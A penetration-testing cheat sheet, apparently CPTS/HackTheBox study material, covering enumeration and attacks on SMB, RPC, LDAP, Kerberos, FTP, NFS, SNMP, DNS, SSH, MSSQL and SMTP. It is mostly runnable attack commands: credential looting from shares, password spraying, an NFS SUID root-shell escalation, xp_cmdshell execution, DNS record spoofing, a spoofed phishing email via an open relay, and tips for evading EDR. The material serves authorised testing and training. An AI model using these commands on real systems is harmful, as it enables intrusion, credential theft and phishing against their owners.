FLOW ^: Pentest Workflow

Stage 03 — Service Enumeration

CPTS attack-flow reference for stage 03 — service enumeration in an authorised engagement.

intermediate updated 2026-08-29 NetExec · enum4linux-ng · rpcclient · smbclient

[!dashboard] Attack-flow navigation Dashboard: HTB Pentest Attack Flow

Section: 06 of 17 · Focus: Stage 03 — Service Enumeration

Previous: Foothold Toolkit — Shells, Payloads, and Metasploit · Next: Stage 04 — Active Directory Enumeration


🗂️ STAGE 3 — SMB, RPC & Other-Service Enumeration

Non-web, non-LDAP service enum. Every box: fire the null-session probes first — a working null session is worth as much as low-priv creds for enumeration. Then work each open service look-for → enumerate → exploit. Deep dives: Anonymous Null Testing, SMBMAP, NetExec - SpiderPlus, Snaffler, NFS - Cheatsheet, 6 - Attacking SMB, 9 - Attacking DNS.


⏱️ 60-Second Triage — port → first 3 commands

The “what do I run in the first minute” table. Full sections below; this is the fast pass over an nmap result. $IP = target, $DOMAIN = AD domain, $DC = domain controller.

Port(s)ServiceFirst 3 commands
445/139SMBnxc smb $IP · nxc smb $IP -u '' -p '' --shares · smbclient -N -L //$IP
135RPCrpcclient -N -U '' $IP -c 'enumdomusers' · rpcdump.py $IP · nxc smb $IP -u '' -p '' --rid-brute
389/636LDAP(S)ldapsearch -x -H ldap://$IP -s base namingcontexts · nxc ldap $IP -u '' -p '' · windapsearch --dc $IP -U
53DNSdig axfr $DOMAIN @$IP · dnsrecon -d $DOMAIN -n $IP · fierce --domain $DOMAIN --dns-servers $IP
88Kerberoskerbrute userenum -d $DOMAIN --dc $DC users.txt · nxc smb $IP (confirm DC) · ldapsearch -x -H ldap://$DC -s base
21FTPnxc ftp $IP -u 'anonymous' -p '' · ftp anonymous@$IP · nmap -sC -p21 $IP
2049/111NFSshowmount -e $IP · nmap --script nfs* -p111,2049 $IP · sudo mount -t nfs $IP:/ ./mnt -o nolock
161/udpSNMPonesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt $IP · snmpwalk -v2c -c public $IP · snmp-check -c public $IP
25SMTPnmap -sC -p25 $IP (smtp-commands) · smtp-user-enum -M VRFY -U users.txt -t $IP · swaks --to test@$DOMAIN --server $IP
110/143POP3/IMAPtelnet $IP 110 (USER enum) · nmap -sC -p110,143,993,995 $IP · curl -k "imaps://$IP" --user "$U:$P"
1433MSSQLnxc mssql $IP -u "$U" -p "$P" · mssqlclient.py "$DOMAIN/$U:$P"@$IP -windows-auth · nmap --script ms-sql-info -p1433 $IP
3306MySQLnxc mysql $IP -u "$U" -p "$P" · mysql -u root -h $IP · nmap -sC -p3306 $IP
5432PostgreSQLpsql -h $IP -U postgres (blank/postgres) · nxc pgsql $IP -u postgres -p postgres · nmap --script pgsql-brute -p5432 $IP
6379Redisredis-cli -h $IP info · redis-cli -h $IP config get dir · nc $IP 6379 (banner)
27017MongoDBmongosh "mongodb://$IP:27017" · nmap --script mongodb-info -p27017 $IP · mongosh "mongodb://$IP:27017" --eval 'db.adminCommand({listDatabases:1})'
3389RDPnxc rdp $IP (NLA check) · nmap --script rdp-ntlm-info -p3389 $IP · xfreerdp /v:$IP /u:"$U" /p:"$P" /cert:ignore
5985/5986WinRMnxc winrm $IP -u "$U" -p "$P" · evil-winrm -i $IP -u "$U" -p "$P" · nmap -sC -p5985,5986 $IP
22SSHssh-audit $IP · nmap -sC -p22 $IP (hostkeys/auth) · ssh $U@$IP
5900+VNCnmap --script vnc-info,vnc-brute -p5900 $IP · vncviewer $IP:0 · hydra -P passwords.txt $IP vnc
23Telnetnc $IP 23 (banner) · telnet $IP · nmap -sC -p23 $IP
623/udpIPMInmap -sU -p623 --script ipmi-version $IP · MSF ipmi_dumphashes · ipmitool -I lanplus -C 0 -H $IP -U root -P '' user list

[!tip] CPTS tip — the triage table is deliberately null/anonymous-only. If ANY of the three commands answers (shares list, users dump, AXFR succeeds, Redis info returns), stop scanning and mine that service before touching the next port. Low-hanging fruit rots fast in a timed exam.


> SMB — anonymous / null / guest (445 / 139)

What to look for: null or guest access, non-default shares (IT, Development, Finance, profiles$, CertEnroll), the domain + hostname, SMB signing state (relay potential), NTLM on/off. SMB enum maps to MITRE ATT&CK T1135 Network Share Discovery and T1046 Network Service Discovery.

Enumerate:

nxc smb $IP                                  # OS, domain, hostname, signing, SMBv1, NTLM state
nxc smb $IP -u '' -p '' --shares             # true null session
nxc smb $IP -u 'guest' -p '' --shares        # guest account
nxc smb $IP -u 'oxdf' -p '' --shares         # bogus creds sometimes list shares (Authority trick)
smbclient -N -L //$IP                        # anon share list (Samba native)
smbmap -H $IP -u '' -p ''                    # null-session share list + perms (READ/WRITE/NO ACCESS)
rpcclient -N -U '' $IP                        # null RPC — then enumdomusers, querydispinfo

NetExec SMB flag cheat table (the ones that matter for Stage 3):

FlagNeeds auth?What it gives you
--sharesnull sometimesshare names + READ/WRITE perms
--usersnull sometimesuser list via SAMR (no RID cycling)
--groupsnull sometimesdomain groups
--loggedon-userslocal adminsessions on the host (spray targets)
--pass-polnull sometimeslockout threshold — read BEFORE spraying
--rid-brutenull sometimesfull user list via RID cycling (noisy)
--disksauthdisk inventory
-M spider_plusauthrecursive file inventory → JSON (see below)
--ntds / --sam / --lsalocal admincred dumps (Stage 10 territory)
-x "cmd"local admincommand exec (SMB-only hosts, no AV bypass)

Exploit / Attack: a null session that lists users/shares feeds everything downstream — dump users → spraying, dump shares → loot, dump pass-pol → safe spray window.

nxc smb $IP -u '' -p '' --users              # user list with no creds
nxc smb $IP -u '' -p '' --groups             # groups, no creds
nxc smb $IP -u '' -p '' --pass-pol           # lockout threshold BEFORE you spray
nxc smb $DC -u '' -p '' --rid-brute          # RID-cycle users out of a null session (noisy)
nxc smb $IP -u 'guest' -p '' --users --shares   # guest-account variant when true null fails

Null-session fallbacks when nxc/rpcclient null is refused (Impacket one-shots — impacket):

samrdump.py $IP                              # SAMR user list, tries null auth
lookupsid.py $IP                             # SID→name RID cycling over null session
lookupsid.py -no-pass guest@$IP              # guest-account RID cycling
samrdump.py -no-pass guest@$IP               # guest SAMR dump

[!note] lookupsid.py and samrdump.py both honor -no-pass for an anonymous bind and will fall back through auth levels — they’re the fastest “did null really die?” check, because nxc reports the first failure and stops.

[!warning] Watch out

  • STATUS_LOGON_FAILURE = null blocked; STATUS_ACCESS_DENIED = authed-but-no-priv (still useful — auth works).
  • --rid-brute / RID cycling spews hundreds of Event ID 4625 — noisy, expect it on a monitored box.
  • NTLM:False in the nxc smb $IP banner = NTLM disabled → use Kerberos everywhere from here (-k, getTGT).
  • Detection: null/guest probing shows as Event ID 4624/4625 logon type 3 (network) on the target; share access adds 5140/5145. Sequential probing of many hosts from one source IP is a trivial SOC correlation.
  • SMBv1 in the banner = legacy host; on a 2003/XP-era box check EternalBlue (MS17-010) — but on anything modern it just flags an outdated build for the report.

> SMB — share listing, spidering & downloading

What to look for: writable shares, and inside them: .kdbx / .psafe3, web.config, unattend.xml, Groups.xml (GPP), id_rsa, .ps1/.bat, .xlsx, Ansible vaults, .bak.

Enumerate:

smbmap -H $IP -u "$U" -p "$P" -r             # recursive listing with per-share perms
smbmap -H $IP -u "$U" -p "$P" -r 'Finance/Payroll' --depth 5   # dive one share deep
nxc smb $IP -u "$U" -p "$P" --shares         # perms per share
nxc smb $IP -u "$U" -p "$P" -M spider_plus   # read-only file inventory -> JSON
smbclient //$IP/SHARE -U "$DOMAIN/$U%$P"     # interactive browse

smbclient quick reference (inside the interactive shell):

ls                      # list
cd IT\                  # move
get script.ps1          # pull one file
mget *.xml              # pull by pattern
prompt OFF; recurse ON; mget *   # bulk-pull everything, no confirmation
put shell.aspx          # upload (only if WRITE perm confirmed)

Full usage: smbclient //$IP/SHARE -U "$DOMAIN/$U%$P".

Exploit / Attack: auto-loot. smbmap -A regex-downloads on hit; spider_plus with READ_ONLY=false pulls filtered files to /tmp/nxc_spider_plus/<IP>/.

# smbmap regex auto-download (requires -r) — grab creds/config/keys
smbmap -H $IP -u "$U" -p "$P" -r -A '(password|cred|secret|\.kdbx|id_rsa|\.config)' --depth 6 -q
# smbclient bulk pull of a whole share
smbclient //$IP/SHARE -U "$DOMAIN/$U%$P" -c 'prompt OFF; recurse ON; mget *'
smbclient -N //$IP/SHARE -c 'prompt OFF; recurse ON; mget *'   # null-session variant
# spider_plus targeted download, then grep the loot
nxc smb $IP -u "$U" -p "$P" -M spider_plus -o READ_ONLY=false \
   PATTERN=password,cred,config,backup EXT=txt,xml,config,ini,kdbx,pem MAX_FILE_SIZE=10485760
grep -r -i "password" /tmp/nxc_spider_plus/$IP/

What to hunt in the loot (priority order):

File / patternWhy
web.config, appsettings.jsonDB connection strings, machine keys
unattend.xml, sysprep.xmllocal admin creds (cleartext or base64)
Groups.xml (SYSVOL)GPP cpasswordgpp-decrypt
.kdbx, .psafe3, .keychainpassword DBs → keepass2john → hashcat
*.ps1, *.bat, *.vbshardcoded service creds in deploy scripts
id_rsa, *.pem, *.ppkSSH keys
*.xlsx, passwords.*spreadsheets named like they sound

[!tip] Recon read-only first (-M spider_plus alone → JSON at /tmp/nxc_spider_plus/<IP>_*.json), jq the inventory to pick targets, then flip READ_ONLY=false with tight filters. Downloading everything is slow and loud.

[!warning] Watch out

  • smbmap -A needs -r (lowercase); combining with legacy -R errors on current builds. Matches auto-download to your CWDcd somewhere sane first.
  • Deep recursion (--depth > 3) = high SMB read volume, flags DLP/EDR. Scope to one share when you can.
  • Copying files (smbmap --upload, spider download) to admin shares (C$, ADMIN$) lights up EID 5140/5145 — prefer non-admin writable shares.
  • MITRE: T1552.001 Unsecured Credentials: Credentials In Files — share looting is exactly this; note it in the report narrative.

> enum4linux-ng — one-pass SMB sweep

What to look for: the whole SMB picture in one shot — domain/workgroup, users, groups, shares, OS, and the password policy (JSON/YAML export you can feed downstream). enum4linux-ng is the maintained Python rewrite of the legacy Perl enum4linux.

Enumerate:

enum4linux-ng -A $IP                          # full auto sweep (users, groups, shares, OS, pol)
enum4linux-ng -A $IP -oA recon/enum4linux     # same + JSON/YAML export for tooling
enum4linux-ng -A $IP -u "$U" -p "$P"          # authenticated — pulls far more
enum4linux-ng -P $IP -oA ilfreight            # password policy only (do this before spraying)
enum4linux-ng -U $IP    # users only
enum4linux-ng -S $IP    # shares only
enum4linux-ng -G $IP    # groups only
enum4linux-ng -P -u '' -p '' $IP              # null-session pass-pol (172.16.5.5-style DC)

Flag cheat table:

FlagMeaning
-Aall simple enum (users, shares, groups, pol, OS, printers)
-Uusers
-Ggroups
-Sshares
-Ppassword policy
-RRID cycling (range with -r 500-1100)
-oA <base>export JSON + YAML
-u/-p/-dcreds / domain for authed enum

[!note] enum4linux-ng (Python, maintained, -oA JSON/YAML) is the default over the original Perl enum4linux, which is effectively unmaintained and has no JSON output. On a plain box the legacy enum4linux -a $IP still works if -ng isn’t installed.

[!warning] Watch out -A/-a includes RID cycling → hundreds of Event ID 4625 failed-logon events. On a monitored target, run targeted flags (-U -S -P) instead of the full sweep.


> RPC — rpcdump, rpcclient enum & RID cycling (135 / 593)

What to look for: exposed RPC interfaces (the rpcdump.py interface list reveals which coercion endpoints a host answers — EFS/MS-EFSRPC, spooler/MS-RPRN, DFS/MS-DFSNM), full user list (even when SMB --users is blocked), group memberships, the domain SID, per-user detail (querydispinfo often leaks descriptions with passwords).

Enumerate — interface dump:

rpcdump.py $IP                                 # every registered RPC endpoint
rpcdump.py $IP | grep -iE 'EFS|MS-RPRN|DFSNM'  # coercion surface check (relay section below)
rpcdump.py $IP | grep -i spoolsv               # Print Spooler present -> printerbug possible

Enumerate — rpcclient cheat table (all inside rpcclient -N -U '' $IP, or -c '...' one-shots):

CommandReturns
srvinfoserver role + OS build
enumdomusersall users (+ RIDs)
enumdomgroupsdomain groups
querydispinfouser detail — DESCRIPTIONS (creds land here)
getdompwinfopassword policy (min length, lockout)
netshareenumallevery share incl. hidden
queryuser 0x1f4detail on RID 500 (Administrator)
queryuser 0x460detail on RID 1120 (a real account)
querygroupmem 512Domain Admins members
lookupnames guestresolve name → SID (grab domain SID)
lookupsids <SID>resolve SID → name (RID cycling)
lsaenumsidtrusted-domain SIDs
enumprintersshared printers
rpcclient -N -U '' $IP                         # null session, then interactive commands above
# one-liners:
rpcclient -N -U '' $IP -c 'enumdomusers'
rpcclient -N -U '' $IP -c 'enumdomusers;enumdomgroups;netshareenumall'
rpcclient -U "$DOMAIN/$U%$P" $IP -c 'querydispinfo'

Exploit / Attack — RID cycling (recover users when enumdomusers is restricted): grab the domain SID via any known name, then brute the RIDs.

# get the domain SID
rpcclient -N -U '' $IP -c 'lookupnames guest'       # -> S-1-5-21-x-y-z-501
# cycle RIDs 500-1100 against that SID -> resolve names
for i in $(seq 500 1100); do \
  rpcclient -N -U '' $IP -c "lookupsids S-1-5-21-x-y-z-$i" 2>/dev/null | grep -v 'NONE'; done
# or just let nxc / enum4linux-ng / impacket do it:
nxc smb $IP -u '' -p '' --rid-brute
lookupsid.py -no-pass guest@$IP

[!tip] Common RIDs: 500 Administrator, 501 Guest, 512 Domain Admins, 513 Domain Users, 1000+ real user accounts. Pull the 1000+ names into users.txt for AS-REP roasting / spraying in Stage 05.

[!warning] Watch out rpcdump.py is read-only and quiet; rpcclient enum is logon type 3 traffic (4624/4625). RID cycling against a DC is one of the loudest enumeration moves available — thousands of 4625s in a tight window.


> LDAP(S) — anonymous binds (389 / 636 / 3268 GC)

What to look for: an anonymous bind that answers — a lot of older/AD-integrated boxes (and nearly every HTB AD box’s “intended path” start) let you read the whole directory with no creds. MITRE T1087 Account Discovery / T1069 Permission Groups Discovery. Deep credentialed enum lives in Stage 04 — this block is the unauthenticated slice.

Enumerate — quick one-liners:

# 1) base probe — returns naming contexts if anonymous bind works at all
ldapsearch -x -H ldap://$IP -s base namingcontexts
# 2) full anonymous dump of the domain naming context
ldapsearch -x -H ldap://$IP -b "DC=inlanefreight,DC=local" | tee ldap-anon.txt
# 3) targeted: users only, readable attributes
ldapsearch -x -H ldap://$IP -b "DC=inlanefreight,DC=local" \
  "(&(objectClass=user))" sAMAccountName description memberOf
# 4) password policy (from the domain head)
ldapsearch -x -H ldap://$IP -b "DC=inlanefreight,DC=local" \
  -s base "(objectClass=domainDNS)" minPwdLength lockoutThreshold lockOutObservationWindow
# 5) global catalog on a DC (forest-wide, port 3268)
ldapsearch -x -H ldap://$IP:3268 -b "DC=inlanefreight,DC=local" "(objectClass=user)" sAMAccountName
# nxc sanity check on the same surface
nxc ldap $IP -u '' -p ''

Tooling for bigger dumps (all handle auth when you have it — Stage 04 uses these credentialed):

  • ldapdomaindumpldapdomaindump -u "$DOMAIN\\$U" -p "$P" ldap://$IP → HTML/JSON/grep-able directory dump (users, groups, computers, trusts).
  • windapsearchwindapsearch --dc $IP -U (users), -G (groups), -C (computers); add -u "$U@$DOMAIN" -p "$P" when authed.
  • ldeep — modern Python enum: ldeep ldap -u "$U" -p "$P" -d "$DOMAIN" -s ldap://$IP all out/.

Exploit / Attack: the description/info fields are the classic leak — admins document passwords there. Grep your dump:

grep -iE "passw|pwd|creds?|key" ldap-anon.txt
grep -B2 -A2 -i "description" ldap-anon.txt

[!warning] Watch out

  • ldap_bind: Invalid credentials (49) on the base probe = anonymous bind disabled — normal on hardened domains; move to credentialed enum (Stage 04) or null-session SMB instead.
  • LDAP signing/channel-binding hardening only matters for relay, not for direct binds — don’t conflate the two.
  • Non-DC hosts also speak LDAP (exchange, apps, printers) — an anonymous bind on an app server can leak a service account’s cleartext password in a userPassword attribute.
  • LDAPS (636) with ldapsearch needs -H ldaps://$IP and often -o ldif-wrap=no plus cert-ignoring via LDAPTLS_REQCERT=never env var.

> Kerberos — username enumeration without creds (88/udp+tcp)

What to look for: the KDC telling you which usernames exist for free — a non-existent user returns KDC_ERR_C_PRINCIPAL_UNKNOWN, a valid one returns KDC_ERR_PREAUTH_REQUIRED (or a ticket). MITRE T1589.001 Gather Victim Identity: Credentials. This is the bridge into Stage 05.

[!tools] Stage this kerbrute_linux_amd64 (SHA-256 · GPG signature) kerbrute_windows_amd64.exe (SHA-256 · GPG signature)

Enumerate — kerbrute:

# Linux build — userenum does NOT cause lockouts (it only requests AS-REQs
# against names; no failed logons are recorded for non-existent users)
./kerbrute_linux_amd64 userenum --dc $DC -d $DOMAIN /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -o valid-users.txt
# quick sanity with a tiny list first
./kerbrute_linux_amd64 userenum --dc $DC -d $DOMAIN top100.txt

userenum vs passwordspray — the safe-vs-lockout note:

ModeWhat it doesLockout risk
userenumAS-REQ per name onlyNone for invalid names; valid names with pre-auth log 4768 preauth-failures only if you go further
passwordsprayone real password against every valid userYes — counts against the domain lockout threshold; read --pass-pol first
# only AFTER nxc smb $DC --pass-pol tells you the threshold (Stage 8 does the spraying)
./kerbrute_linux_amd64 passwordspray --dc $DC -d $DOMAIN valid-users.txt 'Spring2026!'

[!tip] No valid users yet? Build the list from what Stage 3 already gave you: SMB --users/RID-cycling output, LDAP dump, SMTP VRFY results, or generate candidates with username-anarchy from real names. valid-users.txt feeds AS-REP roasting (GetNPUsers.py) and kerberoast-targeting in Stage 05.

[!warning] Watch out User-enum AS-REQs against invalid names log 4768 with “failure” status on the DC in audited environments, and a fast userenum over a big wordlist is a distinctive burst — throttle with --threads 5 on monitored targets.


> Snaffler — credential hunting across shares

What to look for: once you have any domain user, Snaffler walks every readable share on every domain host and triages hits: Black (.kdbx, .ppk, private keys, vaults), Red (.pfx/.p12, configs with creds), Yellow (web.config, scripts, connection strings), Green (interesting extensions). Runs as the current user — even low-priv finds SYSVOL, IT scripts, dept shares. MITRE T1552 Unsecured Credentials + T1083 File and Directory Discovery.

[!tools] Stage this Snaffler.exe (SHA-256 · GPG signature)

Enumerate / Run (drop Snaffler.exe on the target — or better, execute-assembly it from your C2 — and run in the domain user’s context):

.\Snaffler.exe -s -o snaffler.log                              # console + log, auto-discover via LDAP
.\Snaffler.exe -s -o snaffler.log -d $DOMAIN -c $DC            # pin domain + DC
.\Snaffler.exe -s -o snaffler.log -a                           # SHARE-ONLY recon first (fast, low noise)
.\Snaffler.exe -s -o snaffler.tsv -y                           # TSV for parsing

Typical exam flow: -a to map shares in seconds → -i \\FS01\IT_Scripts to scope → full run on the scoped shares → triage Black/Red.

Exploit / Attack: triage the log, pull the Black/Red hits, crack/reuse.

grep -E "\[(Black|Red)\]" snaffler.log        # highest-value first
grep "\.kdbx" snaffler.log                     # KeePass DBs -> keepass2john -> hashcat
grep -i "connectionstring" snaffler.log        # DB creds in configs
# GPP cpassword found in SYSVOL Groups.xml:
gpp-decrypt <cpassword_base64>

[!tip] -a share-only recon before the full file scan lets you scope to interesting shares with -i "\\FS01\IT_Scripts", cutting time-on-target and noise. Use -f (DFS-only) for extra stealth. The standalone Windows-side companion for non-domain share hunting is PowerHuntShares.

[!warning] Watch out Snaffler generates significant SMB traffic across many hosts (EID 5140/5145, rapid NetShareEnumAll) and Snaffler.exe is signatured by most EDR — prefer execute-assembly in-memory over dropping the binary. On a production engagement, agree the scope before a full-domain run; it will appear in file-access dashboards.


> FTP — anonymous (21)

What to look for: anonymous login, then KeePass/Password-Safe DBs, backups, config dumps, notes hinting at the password policy (SeasonYear!).

Enumerate:

nxc ftp $IP -u 'anonymous' -p ''             # 230 = anon allowed, 530 = blocked
nxc ftp $IP -u '' -p ''
ftp anonymous@$IP                             # interactive (nmap ftp-anon flags this too)
nxc ftp $IP -u 'anonymous' -p '' --ls        # non-interactive listing

Exploit / Attack: pull everything — set binary before grabbing DBs/archives or they corrupt.

# interactive: binary ; prompt OFF ; mget *
ftp anonymous@$IP
# scripted grab-all:
echo -e "user anonymous\npass\nbinary\nprompt OFF\nmget *\nquit" | ftp -n $IP
nxc ftp $IP -u 'anonymous' -p '' --get file.kdbx

[!warning] Watch out Always binary before pulling .kdbx / .psafe3 / .zip / DB files — ASCII mode mangles them. Empty-string password (-p '') and literal anonymous both work; some servers want an email as the password.


> NFS — showmount, mount, no_root_squash (2049 / 111)

What to look for: exported shares (NFSv3 has no auth of its own — trust is pure UID/GID), readable files, and dangerous export options in /etc/exports: rw, insecure, nohide, and the jackpot no_root_squash. MITRE T1135 Network Share Discovery.

Enumerate:

showmount -e $IP                              # list exports, no creds needed
sudo nmap --script nfs* $IP -sV -p111,2049    # exports + contents + perms + stats

Exploit / Attack: mount, read with raw numeric UID/GID (the truth), impersonate the owner locally to read files. With no_root_squash + a shell on the box → local root.

mkdir target-NFS
sudo mount -t nfs $IP:/ ./target-NFS -o nolock     # mount whole tree (nolock avoids hangs)
ls -n ./target-NFS/mnt/nfs/                          # RAW UID/GID — plan impersonation
find ./target-NFS -ls                                # hunt readable loot
sudo useradd -u 1000 loameuser                       # recreate owning UID to read its files
# --- no_root_squash privesc (attacker is real root locally) ---
cp /bin/bash ./target-NFS/mnt/nfs/rootbash
sudo chown root:root ./target-NFS/mnt/nfs/rootbash
sudo chmod +s ./target-NFS/mnt/nfs/rootbash
# then on the TARGET's low-priv shell:
/mnt/nfs/rootbash -p                                 # -p preserves SUID euid -> root shell
sudo umount ./target-NFS                             # clean up

[!warning] Watch out no_root_squash is the whole point — it lets a remote-root-created file keep UID/GID 0, so a root-owned SUID binary in the share runs as root on the target. The safe default root_squash maps remote root to nobody and blocks this. ls -l resolves names via your local /etc/passwd and lies — always use ls -n.


> SNMP — community strings (161/udp)

What to look for: SNMP v1/v2c use plaintext community strings (public RO, private RW). A valid string leaks system info, running processes, installed software, local user accounts, network interfaces, sometimes creds in process args.

Enumerate:

onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt $IP   # brute strings (https://github.com/trailofbits/onesixtyone)
snmpwalk -v2c -c public $IP                   # full walk (slow, tons of output — sift it) — net-snmp: https://github.com/net-snmp/net-snmp
snmpwalk -v1  -c public $IP                   # try v1 too — some boxes only answer v1 (Pandora)
snmp-check -c public $IP                      # structured dump: users, processes, software, netstat

Exploit / Attack: target the useful OIDs instead of drowning in a full walk.

snmpwalk -v2c -c public $IP 1.3.6.1.2.1.1              # system: hostname, uptime, contact
snmpwalk -v2c -c public $IP 1.3.6.1.2.1.25.4.2         # running processes (creds in args!)
snmpwalk -v2c -c public $IP 1.3.6.1.2.1.25.6.3         # installed software
snmpwalk -v2c -c public $IP 1.3.6.1.4.1.77.1.2.25      # Windows user accounts

[!warning] Watch out A full snmpwalk is thousands of queries — noisy and slow. Process listing (25.4.2) is the money OID: service scripts run with passwords on the command line and show up here in cleartext. UDP/161, so remember nmap -sU finds it.


> DNS — zone transfer, subdomain enum & ADIDNS (53 TCP+UDP)

What to look for: the internal domain name, whether AXFR is allowed (zero-auth by protocol design → whole internal namespace in one request), extra subdomains/hostnames + internal IP scheme. MITRE T1590.002 Gather Victim Network Information: DNS.

Enumerate:

dig +noall +answer @$IP $DOMAIN               # does it even resolve?
dig NS $DOMAIN @$IP +short                    # find the authoritative nameserver first
dig +noall +answer @$IP -x $IP                # reverse -> domain name
dig +short srv _ldap._tcp.$DOMAIN @$IP        # locate DCs via SRV records
dig +short srv _kerberos._tcp.$DOMAIN @$IP    # locate KDCs

Exploit / Attack: request the full zone against the discovered nameserver, then sub-brute what AXFR missed.

dig axfr $DOMAIN @$IP                          # zone transfer (Trick, Snoopy, Pandora)
dig AXFR @ns1.$DOMAIN $DOMAIN                   # against the named NS explicitly
# dnsrecon — AXFR attempt + brute + reverse ranges in one tool (https://github.com/darkoperator/dnsrecon)
dnsrecon -d $DOMAIN -n $IP -t axfr
dnsrecon -d $DOMAIN -n $IP -D /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t brt
# dnsenum — classic all-in-one (https://github.com/fwaeytens/dnsenum)
dnsenum --dnsserver $IP --enum $DOMAIN
# fierce — fast sub-brute + zone-transfer attempt (https://github.com/mschwager/fierce)
fierce --domain $DOMAIN --dns-servers $IP

ADIDNS poisoning (credentialed, internal): any domain user can create new DNS records in AD-integrated DNS (wildcard/LLMNR-like spoofing without the race). Dump the zone, then add a record pointing at yourself — pairs with Responder/ntlmrelayx below.

adidnsdump -u "$DOMAIN\\$U" -p "$P" $DC         # dump the whole ADIDNS zone (https://github.com/dirkjanm/adidnsdump)
dnstool.py -u "$DOMAIN\\$U" -p "$P" -r fakerec.$DOMAIN -a add -d $LHOST $DC   # add a spoof record (krbrelayx suite)

[!tip] A successful AXFR is one of the fastest wins in the game — it hands you every subdomain, internal hostname, and IP in a single unauthenticated query. Test dig axfr against every nameserver you discover.

[!warning] Watch out Most modern servers reject AXFR from untrusted IPs (empty/Transfer failed) — a failure is normal, not a dead end. dig any is unreliable (resolvers filter it); query record types individually. Need the NS name for the @ns1. form — get it from dig NS first. On AD networks, dynamic DNS updates (unauthenticated RFC 2136 on some labs) can also add records — but don’t confuse that with AXFR read access.


> SSH — audit, user enum & banners (22)

What to look for: the exact OpenSSH build (banner → CVE search), weak host-key algorithms and ciphers, enabled auth methods (password on = sprayable), and pre-auth user enumeration on old OpenSSH.

Enumerate:

nc $IP 22                                       # raw banner grab: SSH-2.0-OpenSSH_7.2p2 ...
ssh-audit $IP                                   # full algo/cve/policy audit (https://github.com/jtesta/ssh-audit)
nmap -Pn -sC -sV -p22 $IP                       # ssh2-enum-algos, ssh-hostkey

Exploit / Attack:

# OpenSSH <= 7.7 user enumeration concept (CVE-2018-15473): a malformed packet makes the
# server answer differently for valid vs invalid usernames. Verify the version first.
python3 /usr/share/metasploit-framework/.../ssh_enumusers 2>/dev/null   # or:
msfconsole -q -x "use auxiliary/scanner/ssh/ssh_enumusers; set RHOSTS $IP; set USER_FILE users.txt; run; exit"
# spray discovered users (respect lockouts on AD-joined/PAM-faillock hosts)
hydra -L users.txt -p 'Summer2026!' -t 4 -W 5 ssh://$IP
# stolen key from NFS/FTP/SMB loot?
chmod 600 id_rsa && ssh -i id_rsa $U@$IP

[!warning] Watch out CVE-2018-15473 is a concept check, not a given — it only works on unpatched OpenSSH ≤ 7.7 (and derivatives that shipped the bug). Don’t burn time on it against OpenSSH 8.x+. SSH brute is one of the most-monitored vectors on the internet (auth.log / Event 4625 type 3 equivalents); spray slow with -W. Deep dive: 🔷 Attacking SSH if present, else Common Ports and Services Cheatsheet 2026.


🐬 MSSQL (1433)

What to look for → a Microsoft SQL Server (top-tier on AD boxes). Windows-auth with a domain user often just works; from there xp_cmdshell → RCE, EXECUTE ASsa, and linked servers hop you to hosts you can’t even reach. Full attack chains (xp_cmdshell privesc, linked-server pivots) continue in Stage 09 and Stage 10.

Enumerate

nxc mssql $IP -u "$U" -p "$P"                       # cleartext creds
nxc mssql $IP -u "$U" -p "$P" -q "SELECT @@version" # test query
nmap -Pn -sV --script ms-sql-info -p1433 $IP        # version + config without creds
nxc mssql $IP -u "$U" -p "$P" -M mssql_priv         # map impersonation/linked-server paths

Exploit / lateral (mssqlclient.py, sqsh as the interactive alternative on some distros)

# foothold — Windows integrated auth is the common HTB path
mssqlclient.py "$DOMAIN"/"$U":"$P"@$IP -windows-auth
#   in-client:
#   SQL> enable_xp_cmdshell
#   SQL> xp_cmdshell whoami
#   SQL> EXECUTE AS LOGIN = 'sa';          -- impersonate up to sa if granted IMPERSONATE
#   SQL> EXEC sp_linkedservers;            -- discover linked servers
#   SQL> EXEC ('xp_cmdshell ''whoami''') AT [SQL02];   -- run on the LINKED box (double-hop)
# sqsh interactive variant:
sqsh -S $IP -U "$U" -P "$P" -h

[!warning] Watch out xp_cmdshell runs as the SQL service account — check whoami /priv for SeImpersonate (→ potato, STAGE 9). Linked-server chains often run as sa on the far end even when you’re low-priv locally — enumerate the whole sp_linkedservers graph before giving up. xp_cmdshell writes to sys.configurations — a 1433 login followed by reconfiguration is a classic SQL-audit-log tripwire (and shows as MSSQL AUDIT events). Deep dive: 🔷 Attack.

📡 More Services — SMTP · IMAP/POP3 · MySQL · PostgreSQL · Redis · MongoDB · Oracle · RDP · WinRM · VNC/Telnet · IPMI · R-services

The services STAGE 3 hasn’t touched yet — mail, the other database engines, remote-desktop, and the legacy/out-of-band stuff (SNMP write, IPMI, rsync, r-services, finger). Same rhythm: look-for → enumerate → exploit. Module deep-dives: 10 - Attacking Email Services · 7 - Attacking SQL Databases · 8 - Attacking RDP · 5 - Attacking FTP · protocol NSE scripts in NSE Guide, ports in Common Ports and Services Cheatsheet 2026.


> SMTP — user enum, open relay & spray (25 / 465 / 587)

What to look for: VRFY/EXPN in the nmap smtp-commands banner, an open relay, Postfix/Exchange/OpenSMTPD banner (CVE-2020-7247 unauth RCE), and — from the MX record — whether mail is self-hosted or a cloud tenant (O365/G-Suite), which changes the whole approach.

Enumerate:

host -t MX $DOMAIN                                  # who handles mail — cloud vs self-hosted
dig +short mx $DOMAIN
sudo nmap -Pn -sV -sC -p25,465,587 $IP              # smtp-commands leaks VRFY/EXPN support
# manual user enum — telnet, try ALL THREE primitives (killing VRFY doesn't kill RCPT)
telnet $IP 25
#   VRFY root                       252/250 = exists, 550 = unknown
#   EXPN support-team               expands a distro list -> every member (bigger leak)
#   MAIL FROM:a@a.com  +  RCPT TO:john   250 = valid recipient (hardest to disable)
# automate against a list (RCPT mode needs -D <domain>) — https://github.com/pentestmonkey/smtp-user-enum
smtp-user-enum -M RCPT -U users.txt -D $DOMAIN -t $IP
smtp-user-enum -M VRFY -U users.txt -t $IP
smtp-user-enum -M EXPN -U users.txt -t $IP

Exploit / Attack: confirmed users → spray; open relay → spoofed phishing; cloud tenant → purpose-built tooling.

# spray discovered users (pop3/imap/smtp all valid — just swap the module name)
hydra -L users.txt -p 'Company01!' -f $IP smtp
# open relay -> send AS a trusted internal sender
nmap -p25 -Pn --script smtp-open-relay $IP
swaks --from admin@$DOMAIN --to victim@$DOMAIN --server $IP \
  --header 'Subject: IT Notice' --body "http://$LHOST/survey"
